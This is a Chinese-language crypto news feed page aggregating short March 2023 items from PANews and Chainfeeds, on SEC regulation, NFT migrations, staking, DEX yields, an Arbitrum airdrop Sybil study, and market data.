去中心化是加密货币行业应坚持的重要原则，但是目前存在很多“去中心化闹剧”，因此行业需要努力辨别什么是真正的去中心化，什么是中心化。 市场失灵和弱点是市场了解中心式攻击并提高水平的机会。 对于监管机构和行业来说，诚实地讨论某物是中心化还是去中心化非常重要，因为如果误导人们，他们可能会受到伤害。 监管机构可能会推动中心化，因此行业有必要朝相反的方向推动。 在加密货币行业中，即使它们自称为加密货币，也不会因为它们是中心化实体而得到豁免。 加密货币世界存在对监管机构的抵制。 然而，这种抗拒创造了一个首先就邀请监管的环境。 自我监管和理解证券法和 SEC 的原因是必要的，以防止落入邀请监管机构的同样陷阱。 对于监管的看法不必是非黑即白的；需要进行诚实的对话，找到平衡点，使人们能够实现自己的梦想，并保护他们免受坏事情的侵害。 Peirce 在 2020 年 1 月的 Duke 大学会议上发表了讲话，谈到了容许对新技术进行实验的重要性，即使这些技术可能看起来很愚蠢或毫无意义，个体应被允许做出自己的决定，而不是依赖政府。 加密货币行业有责任比 SEC 更好地自我监管，这将有助于与监管机构建立良好关系。 Peirce 愿意与行业内的人进行交流，并鼓励他们让她了解他们的想法和观点。  ( 5 min )
    投资人于隽已从A&T Capital辞职
    PANews 3月26日消息，据吴说区块链消息，A&T Capital致投资人的信中称，于隽先生曾代表我们的一位投资者(应为蚂蚁金服)，任命于A&T Capital。他已经从投资者的公司辞去了职务。因此于先生将不再参与A&T Capital的任何事务，也不再代表本基金。这一变动将不会影响本基金的运营。  ( 4 min )

  • Open

    NFT 项目 y00ts 将于明日起迁移至 Polygon，24 小时内迁移将获奖励
    NFT 项目 y00ts 将于明日起迁移至 Polygon，24 小时内迁移将获奖励 原 Solana 生态 NFT 项目 y00ts 表示将于 3 月 27 日起迁移至 Polygon，用户可直接从官方网站迁移。为鼓励用户尽快迁移，在 24 小时内完成迁移将获得奖励。Gas 费由 Magic Eden 提供，全部免费，质押也将免费。在 MagicEden 的 Polygon 市场上架 y00t 将获得 5 USDC 奖励，且 30 天内购买 / 出售 y00t 不收取交易费。 此外团队表示，为专注于 EVM，y00ts 团队将不再在 Solana 上进一步开发 y00ts/DeGods。DeGods 将于 3 月 31 日迁移至以太坊，详细信息将在之后公布。 内容来源  ( 2 min )
    对话 SEC 委员 Peirce：加密监管之路在何方？
    Chainfeeds 导读： Ryan Adams 和 David Hoffman 邀请了 SEC 委员 Hester Peirce 一起讨论她对于 SEC、自律、分权等方面的看法。本文由深潮 TechFlow 编译。 文章来源： https://www.panewslab.com/zh/articledetails/kr36fl7j.html 文章作者： 深潮 TechFlow 观点： 深潮 TechFlow：信息不对称是中心化系统中存在的问题，而去中心化系统则可以消除这个问题。加密货币行业应该与 SEC 保持良好关系，并通过提供指导来实现监管。证券定义需要对证券法在加密货币领域进行调整和更严格的思考， SEC 采取的立场是将大部分代币归类为证券，以最大限度地扩展其管辖范围。 内容来源 深潮 TechFlow：反对意见有助于 SEC 思考问题和潜在解决方案。应该为加密货币质押设计监管框架，而不是将其插入现有的框架中，更有效的方法是通过公开讨论建立明确的规则，然后加以执行。行业可以通过从传统金融中吸取教训、要求透明度以及识别不良行为者等措施来保护自身。同时，去中心化是加密货币行业应坚持的重要原则。 内容来源  ( 5 min )
    LSD 叙事下的 ATOM 尚能战否？
    Chainfeeds 导读： ATOM 是 Cosmos 生态中最核心的资产之一，其以近 35 亿美元的总市值排在虚拟货币总市值排行榜的 20 名开外。加密货币研究员 yyy 聚焦在流动质押视角下探讨 ATOM 的代币价值。 文章来源： https://useful-product-cc0.notion.site/LSD-ATOM-68544f47264045db9f68a4a5adcc2400 文章作者： yyy 观点： yyy：Cosmos 生态尚不具备大规模、多样化的 LSD 协议，在 Stride 上线主网之前，此赛道更是贫瘠。ATOM 的流动质押需求远远未被有效激发，Cosmos LSD 赛道蕴含着巨大的潜力。但针对 Cosmos 生态蓝筹资产（包括但不限于 ATOM）的流动质押方案存在可组合性差、流动质押资产应用场景匮乏的问题。 内容来源 yyy：流动质押 ATOM 的价值累积公式：流动质押 ATOM 收益 = POS 节点质押收益 + 协议资产激励 / 息差套利 + ICS 激励。1）协议资产激励端，协议代币激励对于 LP 池深度增加和 LSD 生态系统稳定有重要作用。2）息差套利端，流动质押 ATOM 的息差套利本质上是通过 Cosmos 生态的借贷协议做杠杆质押增大收益。Cosmos 上未出现像以太坊上 AAVE 这样的龙头借贷协议，但一些新兴的借贷协议也正在崛起。3）ICS 激励，完善基础设施将提高用户使用体验和收益率。ATOM 可能是 Cosmos LSD War 中最大的赢家。 内容来源
    强人工智能时代，区块链还有戏吗？
    Chainfeeds 导读： ChatGPT 掀起了 AI 潮流，区块链和 Web3 被抢了风头，未来发展会如何？Solv Protocol 联合创始人 Yan Meng 认为区块链在价值取向上与强人工智能是对立的，它与强人工智能之间形成一个互补关系。区块链维护公平、塑造生产关系、守护底线和建立契约，而强人工智能提高效率、发展生产力并创造先进的工具和武器。 文章来源： https://myantokengeek.medium.com/%E5%BC%BA%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD%E6%97%B6%E4%BB%A3-%E5%8C%BA%E5%9D%97%E9%93%BE%E8%BF%98%E6%9C%89%E6%88%8F%E5%90%97-839a91ac5486 文章作者： 孟岩 观点： 孟岩：靠自我约束解决不了强人工智能的安全性问题。靠自我约束驯化出来的「善良」的强人工智能，仍然具有巨大的安全性挑战：道德风险、信息不对称、难以控制外脑和不可知风险等问题。试图通过主动控制、调整和干预手段来创造完善自控能力的 「善良 」强人工智能与其本质相矛盾，长期来看是徒劳无功。 内容来源 孟岩：用区块链进行外部约束是唯一办法。区块链的核心技术有两个，一是分布式账本，二是智能合约。两个技术相结合，其实就是构造了一个数字契约系统，其核心优势是透明、难以篡改、可靠和自动执行。区块链是目前唯一一个得到广泛运用的、从根子上就没有 root 角色的计算系统，它给了人类一个机会，可以去跟强人工智能缔结透明可信的契约，从而从外部约束它，与它友好共处。 内容来源  ( 4 min )
    【英文长推】ARB 持有者在哪个 DEX 上提供流动性的收益率最高？
    Chainfeeds 导读： 加密货币 KOL DeFi Made Here 比较了 Kyber Network、Trader Joe、Uniswap、Camelot 上 ARB 的 LP 交易费用，得出结论 KyberSwap 的收益率最高，为 5866%，而 Camelot 的收益率最低，为 207%。Uniswap 在没有任何额外激励的情况下排名第三。 文章来源： https://twitter.com/defi_made_here/status/1639700053953585155 文章作者： DeFi Made Here 观点： DeFi Made Here：KyberSwap 的收益率最高，为 5866％，而且这个收益率没有受到激励。Trader Joe 的激励池收益率低于那些没有额外奖励的池。人们想要获得更多的 joe 奖励，而不是从交易费中获得收益。Uniswap 没有任何额外的激励措施，但仍然排名第三。说明人们更信任并习惯于使用 Uniswap，而流动性提供者愿意获得较少的收益，但留在他们熟悉的平台上。最差的收益率在 Camelot 上。总体来看很多人更喜欢简单管理头寸但获取较少奖励。【原文为英文】 内容来源 DeFi Made Here：KyberSwap 只有 2.8% 交易量通过自己的池交换，其余通过 Uniswap。最有效的交易是通过集中流动性 DEX 进行的，而其他 DEX 则在互相竞争，提供额外的激励措施来吸引 LP，Uniswap 没有任何努力就拥有了大部分 TVL 和交易量。而像 Camelot 这样效率低下的 dex 更适合那些不想积极管理自己头寸的人。【原文为英文】 内容来源  ( 2 min )
    Arbitrum 空投研究：存四大漏洞，女巫地址获利超 21% 空投代币
    Chainfeeds 导读： 根据 Arbitrum 检查女巫地址的规则，X-explore 和吴说区块链发现规则存在四大漏洞，并成功识别了超过 279,328 个同人地址和 148,595 个女巫地址，女巫地址的总利润超过 2.53 亿个 token。 文章来源： https://mp.weixin.qq.com/s/eGbbxPH1S3xv5fNJ2kAncw 文章作者： 吴说区块链 观点： 吴说区块链：Arbitrum 制定的规则并没有有效地防止以下四种类型的女巫：1）地址少于 20 个的女巫；2）通过交易所、跨链桥接、智能合约存取款的女巫；3） 快照后具有明显的 NFT 或资金归集行为的女巫；4）在其他链上具有明显批处理行为的女巫，如 OP，以太坊。 内容来源 吴说区块链：除此之外，我们还发现了一些有趣的例子。此次 ARB 空投的获胜者不仅是 EOA（即普通地址），而且一些合约地址也收到了空投。共有 1007 个合约地址收到空投，收到的 ARB token 总数约为 100 万个。 内容来源  ( 33 min )
    Coinbase 前首席技术官：希望比特币可以接替美元成为全球储备货币
    Coinbase 前首席技术官：希望比特币可以接替美元成为全球储备货币 Coinbase 前首席技术官 Balaji Srinivasan 推特发文称，历史告诉我们，投资者倾向于在压力时期涌入以美元计价的资产。从更长远的角度来看，人们会远离不断贬值的货币。与 2008 年不同，美元不再是大而不能倒的货币。希望比特币可以接棒美元，成为新的全球储备货币。 内容来源  ( 2 min )
    数据：以太坊交易所余额创四年新低
    数据：以太坊交易所余额创四年新低 Glassnode 数据显示，以太坊交易所余额为 18,102,803.195 ETH，创 4 年新低。 内容来源  ( 2 min )
    Animoca Brands 否认其元宇宙基金募资目标下调 20% 至 8 亿美元的说法
    Animoca Brands 否认其元宇宙基金募资目标下调 20% 至 8 亿美元的说法 据 Cointelegraph 报道，Web3 游戏开发商 Animoca Brands 否认了有关在加密市场动荡和银行业不稳定的情况下将其元宇宙基金募资目标下调 20% 至 8 亿美元的说法。此外，该公司还否认了有关其估值已从 2022 年 7 月的 60 亿美元暴跌至 2023 年 3 月的约 20 亿美元的说法。此前，Animoca Brands 联合创始人兼首席执行官 Yat Siu 于 2022 年 11 月宣布推出元宇宙基金，初始募资目标为 20 亿美元，后于 2023 年 1 月将该目标降至 10 亿美元。 内容来源 观点： Yat Siu（Animoca Brands 联合创始人）：毫无疑问，FTX 和银行业危机对可用风险资本产生了严重影响，但 Animoca Capital 基金的筹资正在进行中，融资结束后将向市场通报适当的细节，包括该基金的最终规模。 内容来源  ( 56 min )

  • Open

    委内瑞拉监管机构正关闭加密货币交易所和矿场
    PANews 3月26日消息，据Decrypt报道，自从委内瑞拉加密资产负责人Joselit ramirez被捕，以及总统马杜罗下令重组该国的加密监管机构以来，该国加密生态系统正不断受到严重打击。新的加密资产负责人已下令关闭在委内瑞拉国家加密资产监管机构“Sunacrip”注册的所有加密交易所。尽管这一举动尚未得到官方证实，但委内瑞拉国家加密货币协会(Asonacrip)表示这一行动正在进行中，因为委内瑞拉正在进行反腐调查。在此之前，Sunacrip还宣布下令关闭在委内瑞拉几个州运营的大型加密货币矿场。  ( 4 min )
    数据：以太坊交易所余额创四年新低
    PANews 3月26日消息，Glassnode数据显示，以太坊交易所余额为18,102,803.195 ETH，创4年新低。  ( 4 min )
    尼日利亚央行行长：尼日利亚银行对硅谷银行没有直接敞口
    PANews 3月26日消息，据Bitcoin.com报道，尼日利亚央行（CBN）行长Godwin Emefiele在央行货币政策委员会会议上称，最近对尼日利亚银行债券投资组合的审查表明，该国金融机构没有对硅谷银行（SVB）的直接敞口。他补充说，央行的审慎指导方针有助于有助于创建一个“非常安全”的银行系统。此外，Emefiele表示尼日利亚央行已经并将始终优先考虑银行储户。据悉，自2003年以来，没有尼日利亚储户因银行倒闭损失资金。  ( 4 min )
    数据：过去一周Circle USDC流通量减少21亿美元
    PANews 3月26日消息，据官方数据，3月17日至3月24日期间，Circle共发行5亿美元USDC，赎回26亿美元USDC，流通量减少约21亿美元。截至3月17日，USDC总流通量为346亿美元，储备量为346亿美元，其中现金56亿美元，短期美国国债290亿美元。  ( 4 min )
    Yuga Labs上线“Otherside:2nd Trip”活动
    PANews 3月26日消息，据官方消息，Yuga Labs宣布上线“Otherside:2nd Trip”活动，Voyagers（航海者）和受邀访客需前往Infinity Room并准备进入2nd Trip。据此前消息，Yuga Labs在博客中宣布Otherside元宇宙平台的Otherside:2nd Trip活动暂定于3月25日上线。Voyagers将能在Trip（旅行）开始前15分钟进入体验，Otherdeeds NFT持有者将有机会参加2nd Trip，前提是他们在主要故事开始之前准时到达体验，2nd Trip可以通过邀请参与。  ( 4 min )
2023-04-24T01:44:42.183Z osmosfeed 1.15.4